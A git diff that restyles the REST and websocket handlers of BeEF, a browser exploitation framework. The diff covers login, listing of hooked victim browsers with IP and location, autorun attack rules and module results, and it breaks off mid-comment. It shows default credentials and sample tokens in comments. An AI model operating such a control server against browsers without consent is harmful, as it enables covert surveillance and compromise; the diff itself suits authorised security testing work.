'[Websocket] BeEF hook is invalid' return end command_id = data['cid'].to_s - unless BeEF::Filters::nums_only?(command_id) - print_error "[Websocket] command_id is invalid" + unless BeEF::Filters.nums_only?(command_id) + print_error '[Websocket] command_id is invalid' return end command_id = command_id.to_i handler = data['handler'] if handler.to_s.strip == '' - print_error "[Websocket] handler is invalid" + print_error '[Websocket] handler is invalid' return end @@ -260,20 +252,20 @@ module BeEF when '2' status = 2 else - print_error "[Websocket] command status is invalid" + print_error '[Websocket] command status is invalid' return end command_results = {} command_results['data'] = JSON.parse(Base64.decode64(data['result']).force_encoding('UTF-8')) - + if command_results.empty? - print_error "[Websocket] command results are empty" + print_error '[Websocket] command results are empty' return end - command_mod = "beef.module.#{handler.gsub('/command/','').gsub('.js','')}" + command_mod = "beef.module.#{handler.gsub('/command/', '').gsub('.js', '')}" command_name = @@config.get("#{command_mod}.class") # process results from command module @@ -289,9 +281,7 @@ module BeEF nil ) - if command_obj.respond_to?(:post_execute) - command_obj.post_execute - end + command_obj.post_execute if command_obj.respond_to?(:post_execute) BeEF::Core::Models::Command.save_result( hooked_browser, @@ -301,18 +291,18 @@ module BeEF status ) else # processing results from extensions, call the right handler - data["beefhook"] = hooked_browser - data["results"] = command_results['data'] + data['beefhook'] = hooked_browser + data['results'] = command_results['data'] if MOUNTS.has_key?(handler) - if MOUNTS[handler].class == Array and MOUNTS[handler].length == 2 + if MOUNTS[handler].instance_of?(Array) and MOUNTS[handler].length == 2 MOUNTS[handler][0].new(data, MOUNTS[handler][1]) else MOUNTS[handler].new(data) end end end - rescue => e + rescue StandardError => e print_error "Error in BeEF::Core::Websocket: #{e.message}" raise e end diff --git a/core/main/rest/api.rb b/core/main/rest/api.rb index 61cc4eb01..848102927 100644 --- a/core/main/rest/api.rb +++ b/core/main/rest/api.rb @@ -6,7 +6,6 @@ module BeEF module Core module Rest - module RegisterHooksHandler def self.mount_handler(server) server.mount('/api/hooks', BeEF::Core::Rest::HookedBrowsers.new) @@ -64,24 +63,23 @@ module BeEF BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterServerHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAutorunHandler, BeEF::API::Server, 'mount_handler') - # # Check the source IP is within the permitted subnet # This is from extensions/admin_ui/controllers/authentication/authentication.rb # def self.permitted_source?(ip) # test if supplied IP address is valid - return false unless BeEF::Filters::is_valid_ip?(ip) + return false unless BeEF::Filters.is_valid_ip?(ip) # get permitted subnets - permitted_ui_subnet = BeEF::Core::Configuration.instance.get("beef.restrictions.permitted_ui_subnet") - return false if permitted_ui_subnet.nil? - return false if permitted_ui_subnet.empty? + permitted_ui_subnet = BeEF::Core::Configuration.instance.get('beef.restrictions.permitted_ui_subnet') + return false if permitted_ui_subnet.nil? + return false if permitted_ui_subnet.empty? # test if ip within subnets - permitted_ui_subnet.each do |subnet| + permitted_ui_subnet.each do |subnet| return true if IPAddr.new(subnet).include?(ip) - end + end false end @@ -100,18 +98,17 @@ module BeEF # @return def self.timeout?(config_delay_id, last_time_attempt, time_record_set_fn) success = true - time = Time.now() + time = Time.now config = BeEF::Core::Configuration.instance fail_delay = config.get(config_delay_id) - if (time - last_time_attempt < fail_delay.to_f) + if time - last_time_attempt < fail_delay.to_f time_record_set_fn.call(time) success = false end success end - end end end diff --git a/core/main/rest/handlers/admin.rb b/core/main/rest/handlers/admin.rb index dde2355e6..46f896cc6 100644 --- a/core/main/rest/handlers/admin.rb +++ b/core/main/rest/handlers/admin.rb @@ -8,20 +8,19 @@ module BeEF module Core module Rest class Admin < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance time_since_last_failed_auth = 0 - before do + # @todo: this code comment is a lie. why is it here? # error 401 unless params[:token] == config.get('beef.api_token') - halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) - # halt if requests are inside beef.restrictions.api_attempt_delay - if time_since_last_failed_auth != 0 - halt 401 if not BeEF::Core::Rest.timeout?('beef.restrictions.api_attempt_delay', - time_since_last_failed_auth, - lambda { |time| time_since_last_failed_auth = time}) + # halt if requests are inside beef.restrictions.api_attempt_delay + if time_since_last_failed_auth != 0 && !BeEF::Core::Rest.timeout?('beef.restrictions.api_attempt_delay', + time_since_last_failed_auth, + ->(time) { time_since_last_failed_auth = time }) + halt 401 end headers 'Content-Type' => 'application/json; charset=UTF-8', @@ -36,44 +35,37 @@ module BeEF # Input must be specified in JSON format # # +++ Example: +++ - #POST /api/admin/login HTTP/1.1 - #Host: 127.0.0.1:3000 - #Content-Type: application/json; charset=UTF-8 - #Content-Length: 18 + # POST /api/admin/login HTTP/1.1 + # Host: 127.0.0.1:3000 + # Content-Type: application/json; charset=UTF-8 + # Content-Length: 18 # - #{"username":"beef", "password":"beef"} + # {"username":"beef", "password":"beef"} #===response (snip)=== - #HTTP/1.1 200 OK - #Content-Type: application/json; charset=UTF-8 - #Content-Length: 35 + # HTTP/1.1 200 OK + # Content-Type: application/json; charset=UTF-8 + # Content-Length: 35 # - #{"success":"true","token":"122323121"} + # {"success":"true","token":"122323121"} # post '/login' do request.body.rewind begin data = JSON.parse request.body.read - # check username and password - if not (data['username'].eql? config.get('beef.credentials.user') and data['password'].eql? config.get('beef.credentials.passwd') ) - if not data['password'].eql? "broken_pass" - BeEF::Core::Logger.instance.register('Authentication', "User with ip #{request.ip} has failed to authenticate in the application.") - end - - # failed attempts - time_since_last_failed_auth = Time.now() - halt 401 - else - { "success" => true, - "token" => "#{config.get('beef.api_token')}" + if data['username'].eql?(config.get('beef.credentials.user')) && data['password'].eql?(config.get('beef.credentials.passwd')) + return { + 'success' => true, + 'token' => config.get('beef.api_token').to_s }.to_json end - rescue => e + + BeEF::Core::Logger.instance.register('Authentication', "User with ip #{request.ip} has failed to authenticate in the application.") + time_since_last_failed_auth = Time.now + halt 401 + rescue StandardError error 400 end end - - private - end end end diff --git a/core/main/rest/handlers/autorun_engine.rb b/core/main/rest/handlers/autorun_engine.rb index c299a67e3..f59742ad1 100644 --- a/core/main/rest/handlers/autorun_engine.rb +++ b/core/main/rest/handlers/autorun_engine.rb @@ -8,12 +8,11 @@ module BeEF module Core module Rest class AutorunEngine < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance before do error 401 unless params[:token] == config.get('beef.api_token') - halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', @@ -27,7 +26,7 @@ module BeEF data = JSON.parse request.body.read rloader = BeEF::Core::AutorunEngine::RuleLoader.instance rloader.load(data).to_json - rescue => e + rescue StandardError => e err = 'Malformed JSON ruleset.' print_error "[ARE] ERROR: #{e.message}" { 'success' => false, 'error' => err }.to_json @@ -36,96 +35,90 @@ module BeEF # Delete a ruleset get '/rule/delete/:rule_id' do - begin - rule_id = params[:rule_id] - rule = BeEF::Core::AutorunEngine::Models::Rule.find(rule_id) - rule.destroy - { 'success' => true}.to_json - rescue => e - err = 'Error getting rule.' - print_error "[ARE] ERROR: #{e.message}" - { 'success' => false, 'error' => err }.to_json - end + rule_id = params[:rule_id] + rule = BeEF::Core::AutorunEngine::Models::Rule.find(rule_id) + rule.destroy + { 'success' => true }.to_json + rescue StandardError => e + err = 'Error getting rule.' + print_error "[ARE] ERROR: #{e.message}" + { 'success' => false, 'error' => err }.to_json end # Trigger a specified rule_id on online hooked browsers. Offline hooked browsers are ignored get '/rule/trigger/:rule_id' do - begin - rule_id = params[:rule_id] + rule_id = params[:rule_id] - online_hooks = BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15)) - are = BeEF::Core::AutorunEngine::Engine.instance + online_hooks = BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15)) + are = BeEF::Core::AutorunEngine::Engine.instance - if online_hooks != nil - online_hooks.each do |hb| - hb_details = BeEF::Core::Models::BrowserDetails - browser_name = hb_details.get(hb.session, 'browser.name') - browser_version = hb_details.get(hb.session, 'browser.version') - os_name = hb_details.get(hb.session, 'host.os.name') - os_version = hb_details.get(hb.session, 'host.os.version') + if online_hooks.nil? + { 'success' => false, 'error' => 'There are currently no hooked browsers online.' }.to_json + else + online_hooks.each do |hb| + hb_details = BeEF::Core::Models::BrowserDetails + browser_name = hb_details.get(hb.session, 'browser.name') + browser_version = hb_details.get(hb.session, 'browser.version') + os_name = hb_details.get(hb.session, 'host.os.name') + os_version = hb_details.get(hb.session, 'host.os.version') - match_rules = are.match(browser_name, browser_version, os_name, os_version, rule_id) - are.trigger(match_rules, hb.id) if match_rules.length > 0 - end - { 'success' => true }.to_json - else - { 'success' => false, 'error' => 'There are currently no hooked browsers online.' }.to_json + match_rules = are.match(browser_name, browser_version, os_name, os_version, rule_id) + are.trigger(match_rules, hb.id) if match_rules.length > 0 end - rescue => e - err = 'Malformed JSON ruleset.' - print_error "[ARE] ERROR: #{e.message}" - { 'success' => false, 'error' => err }.to_json + { 'success' => true }.to_json end + rescue StandardError => e + err = 'Malformed JSON ruleset.' + print_error "[ARE] ERROR: #{e.message}" + { 'success' => false, 'error' => err }.to_json end # Delete a ruleset get '/rule/list/:rule_id' do - begin - rule_id = params[:rule_id] - if rule_id == 'all' - result = Array.new - rules = BeEF::Core::AutorunEngine::Models::Rule.all - rules.each do |rule| - { - 'id' => rule.id, - 'name'=> rule.name, - 'author'=> rule.author, - 'browser'=> rule.browser, - 'browser_version'=> rule.browser_version, - 'os'=> rule.os, - 'os_version'=> rule.os_version, - 'modules'=> rule.modules, - 'execution_order'=> rule.execution_order, - 'execution_delay'=> rule.execution_delay, - 'chain_mode'=> rule.chain_mode - } - result.push rule - end - else - result = nil - rule = BeEF::Core::AutorunEngine::Models::Rule.get(rule_id) - if rule != nil - result = { - 'id' => rule.id, - 'name'=> rule.name, - 'author'=> rule.author, - 'browser'=> rule.browser, - 'browser_version'=> rule.browser_version, - 'os'=> rule.os, - 'os_version'=> rule.os_version, - 'modules'=> rule.modules, - 'execution_order'=> rule.execution_order, - 'execution_delay'=> rule.execution_delay, - 'chain_mode'=> rule.chain_mode - } - end + rule_id = params[:rule_id] + if rule_id == 'all' + result = [] + rules = BeEF::Core::AutorunEngine::Models::Rule.all + rules.each do |rule| + { + 'id' => rule.id, + 'name' => rule.name, + 'author' => rule.author, + 'browser' => rule.browser, + 'browser_version' => rule.browser_version, + 'os' => rule.os, + 'os_version' => rule.os_version, + 'modules' => rule.modules, + 'execution_order' => rule.execution_order, + 'execution_delay' => rule.execution_delay, + 'chain_mode' => rule.chain_mode + } + result.push rule + end + else + result = nil + rule = BeEF::Core::AutorunEngine::Models::Rule.get(rule_id) + unless rule.nil? + result = { + 'id' => rule.id, + 'name' => rule.name, + 'author' => rule.author, + 'browser' => rule.browser, + 'browser_version' => rule.browser_version, + 'os' => rule.os, + 'os_version' => rule.os_version, + 'modules' => rule.modules, + 'execution_order' => rule.execution_order, + 'execution_delay' => rule.execution_delay, + 'chain_mode' => rule.chain_mode + } end - { 'success' => true, 'rules' => result}.to_json - rescue => e - err = 'Error getting rule(s)' - print_error "[ARE] ERROR: #{e.message}" - { 'success' => false, 'error' => err }.to_json end + { 'success' => true, 'rules' => result }.to_json + rescue StandardError => e + err = 'Error getting rule(s)' + print_error "[ARE] ERROR: #{e.message}" + { 'success' => false, 'error' => err }.to_json end end end diff --git a/core/main/rest/handlers/browserdetails.rb b/core/main/rest/handlers/browserdetails.rb index c06394249..e9be1bbdb 100644 --- a/core/main/rest/handlers/browserdetails.rb +++ b/core/main/rest/handlers/browserdetails.rb @@ -8,12 +8,11 @@ module BeEF module Core module Rest class BrowserDetails < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance before do error 401 unless params[:token] == config.get('beef.api_token') - halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', @@ -24,15 +23,15 @@ module BeEF # @note Get all browser details for the specified session # get '/:session' do - hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first + hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first error 404 if hb.nil? - details = BeEF::Core::Models::BrowserDetails.where(:session_id => hb.session) + details = BeEF::Core::Models::BrowserDetails.where(session_id: hb.session) error 404 if details.nil? result = [] details.each do |d| - result << {key: d[:detail_key], value: d[:detail_value] } + result << { key: d[:detail_key], value: d[:detail_value] } end output = { diff --git a/core/main/rest/handlers/categories.rb b/core/main/rest/handlers/categories.rb index 403b79d06..864fe718b 100644 --- a/core/main/rest/handlers/categories.rb +++ b/core/main/rest/handlers/categories.rb @@ -8,12 +8,11 @@ module BeEF module Core module Rest class Categories < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance before do error 401 unless params[:token] == config.get('beef.api_token') - halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', @@ -21,19 +20,18 @@ module BeEF end get '/' do - categories = BeEF::Modules::get_categories - cats = Array.new - i = 0 - # todo add sub-categories support! - categories.each do |category| - cat = {"id" => i, "name" => category} - cats << cat - i += 1 - end - cats.to_json + categories = BeEF::Modules.get_categories + cats = [] + i = 0 + # TODO: add sub-categories support! + categories.each do |category| + cat = { 'id' => i, 'name' => category } + cats << cat + i += 1 + end + cats.to_json end - end end end -end \ No newline at end of file +end diff --git a/core/main/rest/handlers/hookedbrowsers.rb b/core/main/rest/handlers/hookedbrowsers.rb index 91f5a59eb..03fc76c8b 100644 --- a/core/main/rest/handlers/hookedbrowsers.rb +++ b/core/main/rest/handlers/hookedbrowsers.rb @@ -8,12 +8,11 @@ module BeEF module Core module Rest class HookedBrowsers < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance before do error 401 unless params[:token] == config.get('beef.api_token') - halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', @@ -37,50 +36,51 @@ module BeEF end output = { - 'hooked-browsers' => { - 'online' => online_hooks, - 'offline' => offline_hooks - } + 'hooked-browsers' => { + 'online' => online_hooks, + 'offline' => offline_hooks + } } output.to_json end - get '/:session/delete' do - hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first - error 401 unless hb != nil + get '/:session/delete' do + hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first + error 401 if hb.nil? - details = BeEF::Core::Models::BrowserDetails.where(:session_id => hb.session) - details.destroy_all + details = BeEF::Core::Models::BrowserDetails.where(session_id: hb.session) + details.destroy_all - logs = BeEF::Core::Models::Log.where(:hooked_browser_id => hb.id) - logs.destroy_all + logs = BeEF::Core::Models::Log.where(hooked_browser_id: hb.id) + logs.destroy_all - commands = BeEF::Core::Models::Command.where(:hooked_browser_id => hb.id) - commands.destroy_all + commands = BeEF::Core::Models::Command.where(hooked_browser_id: hb.id) + commands.destroy_all - results = BeEF::Core::Models::Result.where(:hooked_browser_id => hb.id) - results.destroy_all + results = BeEF::Core::Models::Result.where(hooked_browser_id: hb.id) + results.destroy_all - begin - requester = BeEF::Core::Models::Http.where(:hooked_browser_id => hb.id) - requester.destroy_all - rescue => e - #the requester module may not be enabled - end + begin + requester = BeEF::Core::Models::Http.where(hooked_browser_id: hb.id) + requester.destroy_all + rescue StandardError + # @todo why is this error swallowed? + # the requester module may not be enabled + end - begin - xssraysscans = BeEF::Core::Models::Xssraysscan.where(:hooked_browser_id => hb.id) - xssraysscans.destroy_all + begin + xssraysscans = BeEF::Core::Models::Xssraysscan.where(hooked_browser_id: hb.id) + xssraysscans.destroy_all - xssraysdetails = BeEF::Core::Models::Xssraysdetail.where(:hooked_browser_id => hb.id) - xssraysdetails.destroy_all - rescue => e - #the xssraysscan module may not be enabled - end - - hb.destroy - end + xssraysdetails = BeEF::Core::Models::Xssraysdetail.where(hooked_browser_id: hb.id) + xssraysdetails.destroy_all + rescue StandardError => e + # @todo why is this error swallowed? + # the xssraysscan module may not be enabled + end + hb.destroy + end # # @note returns all zombies @@ -99,7 +99,6 @@ module BeEF output.to_json end - # # @note this is basically the same call as /api/hooks, but returns different data structured in arrays rather than objects. # Useful if you need to query the API via jQuery.dataTable < 1.10 which is currently used in PhishingFrenzy @@ -108,7 +107,7 @@ module BeEF online_hooks = hbs_to_array(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15))) output = { - 'aaData' => online_hooks + 'aaData' => online_hooks } output.to_json end @@ -121,7 +120,7 @@ module BeEF offline_hooks = hbs_to_array(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', (Time.new.to_i - 15))) output = { - 'aaData' => offline_hooks + 'aaData' => offline_hooks } output.to_json end @@ -130,10 +129,10 @@ module BeEF # @note Get all the hooked browser details (plugins enabled, technologies enabled, cookies) # get '/:session' do - hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first - error 401 unless hb != nil + hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first + error 401 if hb.nil? - details = BeEF::Core::Models::BrowserDetails.where(:session_id => hb.session) + details = BeEF::Core::Models::BrowserDetails.where(session_id: hb.session) result = {} details.each do |property| result[property.detail_key] = property.detail_value @@ -149,28 +148,28 @@ module BeEF os_version = body['os_version'] arch = body['arch'] - hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first - error 401 unless hb != nil + hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first + error 401 if hb.nil? - BeEF::Core::Models::BrowserDetails.where(:session_id => hb.session, :detail_key => 'host.os.name').destroy - BeEF::Core::Models::BrowserDetails.where(:session_id => hb.session, :detail_key => 'host.os.version').destroy - #BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'Arch').destroy + BeEF::Core::Models::BrowserDetails.where(session_id: hb.session, detail_key: 'host.os.name').destroy + BeEF::Core::Models::BrowserDetails.where(session_id: hb.session, detail_key: 'host.os.version').destroy + # BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'Arch').destroy - BeEF::Core::Models::BrowserDetails.create(:session_id => hb.session, :detail_key => 'host.os.name', :detail_value => os) - BeEF::Core::Models::BrowserDetails.create(:session_id => hb.session, :detail_key => 'host.os.version', :detail_value => os_version) - BeEF::Core::Models::BrowserDetails.create(:session_id => hb.session, :detail_key => 'Arch', :detail_value => arch) + BeEF::Core::Models::BrowserDetails.create(session_id: hb.session, detail_key: 'host.os.name', detail_value: os) + BeEF::Core::Models::BrowserDetails.create(session_id: hb.session, detail_key: 'host.os.version', detail_value: os_version) + BeEF::Core::Models::BrowserDetails.create(session_id: hb.session, detail_key: 'Arch', detail_value: arch) - # TODO if there where any ARE rules defined for this hooked browser, + # TODO: if there where any ARE rules defined for this hooked browser, # after updating OS/arch, force a retrigger of the rule. - {'success' => true}.to_json + { 'success' => true }.to_json end def hb_to_json(hbs) hbs_hash = {} i = 0 hbs.each do |hb| - hbs_hash[i] = (get_hb_details(hb)) - i+=1 + hbs_hash[i] = get_hb_details(hb) + i += 1 end hbs_hash end @@ -179,24 +178,24 @@ module BeEF details = BeEF::Core::Models::BrowserDetails { - 'id' => hb.id, - 'session' => hb.session, - 'name' => details.get(hb.session, 'browser.name'), - 'version' => details.get(hb.session, 'browser.version'), - 'platform' => details.get(hb.session, 'browser.platform'), - 'os' => details.get(hb.session, 'host.os.name'), - 'os_version' => details.get(hb.session, 'host.os.version'), - 'hardware' => details.get(hb.session, 'hardware.type'), - 'ip' => hb.ip, - 'domain' => details.get(hb.session, 'browser.window.hostname'), - 'port' => hb.port.to_s, - 'page_uri' => details.get(hb.session, 'browser.window.uri'), - 'firstseen' => hb.firstseen, - 'lastseen' => hb.lastseen, - 'date_stamp' => details.get(hb.session, 'browser.date.datestamp'), - 'city' => details.get(hb.session, 'location.city'), - 'country' => details.get(hb.session, 'location.country'), - 'country_code' => details.get(hb.session, 'location.country.isocode'), + 'id' => hb.id, + 'session' => hb.session, + 'name' => details.get(hb.session, 'browser.name'), + 'version' => details.get(hb.session, 'browser.version'), + 'platform' => details.get(hb.session, 'browser.platform'), + 'os' => details.get(hb.session, 'host.os.name'), + 'os_version' => details.get(hb.session, 'host.os.version'), + 'hardware' => details.get(hb.session, 'hardware.type'), + 'ip' => hb.ip, + 'domain' => details.get(hb.session, 'browser.window.hostname'), + 'port' => hb.port.to_s, + 'page_uri' => details.get(hb.session, 'browser.window.uri'), + 'firstseen' => hb.firstseen, + 'lastseen' => hb.lastseen, + 'date_stamp' => details.get(hb.session, 'browser.date.datestamp'), + 'city' => details.get(hb.session, 'location.city'), + 'country' => details.get(hb.session, 'location.country'), + 'country_code' => details.get(hb.session, 'location.country.isocode') } end @@ -205,32 +204,32 @@ module BeEF hooked_browsers = [] hbs.each do |hb| details = BeEF::Core::Models::BrowserDetails - # TODO jQuery.dataTables needs fixed array indexes, add emptry string if a value is blank + # @todo what does the below TODO comment mean? why do we care about the client side view inside a controller? + # TODO: jQuery.dataTables needs fixed array indexes, add emptry string if a value is blank - pfuid = details.get(hb.session, 'PhishingFrenzyUID') != nil ? details.get(hb.session, 'PhishingFrenzyUID') : 'n/a' - bname = details.get(hb.session, 'browser.name') != nil ? details.get(hb.session, 'browser.name') : 'n/a' - bversion = details.get(hb.session, 'browser.version') != nil ? details.get(hb.session, 'browser.version') : 'n/a' - bplugins = details.get(hb.session, 'browser.plugins') != nil ? details.get(hb.session, 'browser.plugins') : 'n/a' + pfuid = details.get(hb.session, 'PhishingFrenzyUID').nil? ? 'n/a' : details.get(hb.session, 'PhishingFrenzyUID') + bname = details.get(hb.session, 'browser.name').nil? ? 'n/a' : details.get(hb.session, 'browser.name') + bversion = details.get(hb.session, 'browser.version').nil? ? 'n/a' : details.get(hb.session, 'browser.version') + bplugins = details.get(hb.session, 'browser.plugins').nil? ? 'n/a' : details.get(hb.session, 'browser.plugins') hooked_browsers << [ - hb.id, - hb.ip, - pfuid, - bname, - bversion, - details.get(hb.session, 'host.os.name'), - details.get(hb.session, 'browser.platform'), - details.get(hb.session, 'browser.language'), - bplugins, - details.get(hb.session, 'location.city'), - details.get(hb.session, 'location.country'), - details.get(hb.session, 'location.latitude'), - details.get(hb.session, 'location.longitude') + hb.id, + hb.ip, + pfuid, + bname, + bversion, + details.get(hb.session, 'host.os.name'), + details.get(hb.session, 'browser.platform'), + details.get(hb.session, 'browser.language'), + bplugins, + details.get(hb.session, 'location.city'), + details.get(hb.session, 'location.country'), + details.get(hb.session, 'location.latitude'), + details.get(hb.session, 'location.longitude') ] end hooked_browsers end - end end end diff --git a/core/main/rest/handlers/logs.rb b/core/main/rest/handlers/logs.rb index 740400dd2..da05e0b16 100644 --- a/core/main/rest/handlers/logs.rb +++ b/core/main/rest/handlers/logs.rb @@ -8,12 +8,11 @@ module BeEF module Core module Rest class Logs < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance before do error 401 unless params[:token] == config.get('beef.api_token') - halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', @@ -33,10 +32,10 @@ module BeEF # get '/rss' do logs = BeEF::Core::Models::Log.all - headers 'Content-Type' => 'text/xml; charset=UTF-8', - 'Pragma' => 'no-cache', + headers 'Content-Type' => 'text/xml; charset=UTF-8', + 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', - 'Expires' => '0' + 'Expires' => '0' logs_to_rss logs end @@ -44,10 +43,10 @@ module BeEF # @note Get hooked browser logs # get '/:session' do - hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first - error 401 unless hb != nil + hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first + error 401 if hb.nil? - logs = BeEF::Core::Models::Log.where(:hooked_browser_id => hb.id) + logs = BeEF::Core::Models::Log.where(hooked_browser_id: hb.id) logs_to_json(logs) end @@ -59,19 +58,20 @@ module BeEF logs.each do |log| logs_json << { - 'id' => log.id.to_i, - 'date' => log.date.to_s, - 'event' => log.event.to_s, - 'logtype' => log.logtype.to_s, - 'hooked_browser_id' => log.hooked_browser_id.to_s + 'id' => log.id.to_i, + 'date' => log.date.to_s, + 'event' => log.event.to_s, + 'logtype' => log.logtype.to_s, + 'hooked_browser_id' => log.hooked_browser_id.to_s } end - { + unless logs_json.empty? + { 'logs_count' => count, 'logs' => logs_json - }.to_json if not logs_json.empty? - + }.to_json + end end def logs_to_rss(logs) @@ -91,7 +91,6 @@ module BeEF end rss.to_s end - end end end diff --git a/core/main/rest/handlers/modules.rb b/core/main/rest/handlers/modules.rb index 5ddc0320c..cd215e3c5 100644 --- a/core/main/rest/handlers/modules.rb +++ b/core/main/rest/handlers/modules.rb @@ -8,12 +8,11 @@ module BeEF module Core module Rest class Modules < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance before do error 401 unless params[:token] == config.get('beef.api_token') - halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', @@ -30,24 +29,23 @@ module BeEF i = 0 mods.each do |mod| modk = BeEF::Module.get_key_by_database_id(mod.id) - next if !BeEF::Module.is_enabled(modk) + next unless BeEF::Module.is_enabled(modk) + mods_hash[i] = { - 'id' => mod.id, - 'class' => config.get("beef.module.#{modk}.class"), - 'name' => config.get("beef.module.#{modk}.name"), - 'category' => config.get("beef.module.#{modk}.category") + 'id' => mod.id, + 'class' => config.get("beef.module.#{modk}.class"), + 'name' => config.get("beef.module.#{modk}.name"), + 'category' => config.get("beef.module.#{modk}.category") } - i+=1 + i += 1 end mods_hash.to_json end get '/search/:mod_name' do - mod = BeEF::Core::Models::CommandModule.where(:name => params[:mod_name]).first + mod = BeEF::Core::Models::CommandModule.where(name: params[:mod_name]).first result = {} - if mod != nil - result = {'id' => mod.id} - end + result = { 'id' => mod.id } unless mod.nil? result.to_json end @@ -56,47 +54,47 @@ module BeEF # get '/:mod_id' do cmd = BeEF::Core::Models::CommandModule.find(params[:mod_id]) - error 404 unless cmd != nil + error 404 if cmd.nil? modk = BeEF::Module.get_key_by_database_id(params[:mod_id]) - error 404 unless modk != nil + error 404 if modk.nil? - #todo check if it's possible to also retrieve the TARGETS supported + # TODO: check if it's possible to also retrieve the TARGETS supported { - 'name' => cmd.name, - 'description' => config.get("beef.module.#{cmd.name}.description"), - 'category'=> config.get("beef.module.#{cmd.name}.category"), - 'options' => BeEF::Module.get_options(modk) #todo => get also payload options..get_payload_options(modk,text) + 'name' => cmd.name, + 'description' => config.get("beef.module.#{cmd.name}.description"), + 'category' => config.get("beef.module.#{cmd.name}.category"), + 'options' => BeEF::Module.get_options(modk) # TODO: => get also payload options..get_payload_options(modk,text) }.to_json end # @note Get the module result for the specific executed command # # Example with the Alert Dialog - #GET /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86/1?token=0a931a461d08b86bfee40df987aad7e9cfdeb050 HTTP/1.1 - #Host: 127.0.0.1:3000 + # GET /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86/1?token=0a931a461d08b86bfee40df987aad7e9cfdeb050 HTTP/1.1 + # Host: 127.0.0.1:3000 #===response (snip)=== - #HTTP/1.1 200 OK - #Content-Type: application/json; charset=UTF-8 + # HTTP/1.1 200 OK + # Content-Type: application/json; charset=UTF-8 # - #{"date":"1331637093","data":"{\"data\":\"text=michele\"}"} + # {"date":"1331637093","data":"{\"data\":\"text=michele\"}"} # get '/:session/:mod_id/:cmd_id' do - hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first - error 401 unless hb != nil - cmd = BeEF::Core::Models::Command.where(:hooked_browser_id => hb.id, - :command_module_id => params[:mod_id], :id => params[:cmd_id]).first - error 404 unless cmd != nil - results = BeEF::Core::Models::Result.where(:hooked_browser_id => hb.id, :command_id => cmd.id) - error 404 unless results != nil + hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first + error 401 if hb.nil? + cmd = BeEF::Core::Models::Command.where(hooked_browser_id: hb.id, + command_module_id: params[:mod_id], id: params[:cmd_id]).first + error 404 if cmd.nil? + results = BeEF::Core::Models::Result.where(hooked_browser_id: hb.id, command_id: cmd.id) + error 404 if results.nil? results_hash = {} i = 0 results.each do |result| results_hash[i] = { - 'date' => result.date, - 'data' => result.data + 'date' => result.date, + 'data' => result.data } - i+=1 + i += 1 end results_hash.to_json end @@ -107,56 +105,56 @@ module BeEF # Input must be specified in JSON format # # +++ Example with the Alert Dialog: +++ - #POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 - #Host: 127.0.0.1:3000 - #Content-Type: application/json; charset=UTF-8 - #Content-Length: 18 + # POST 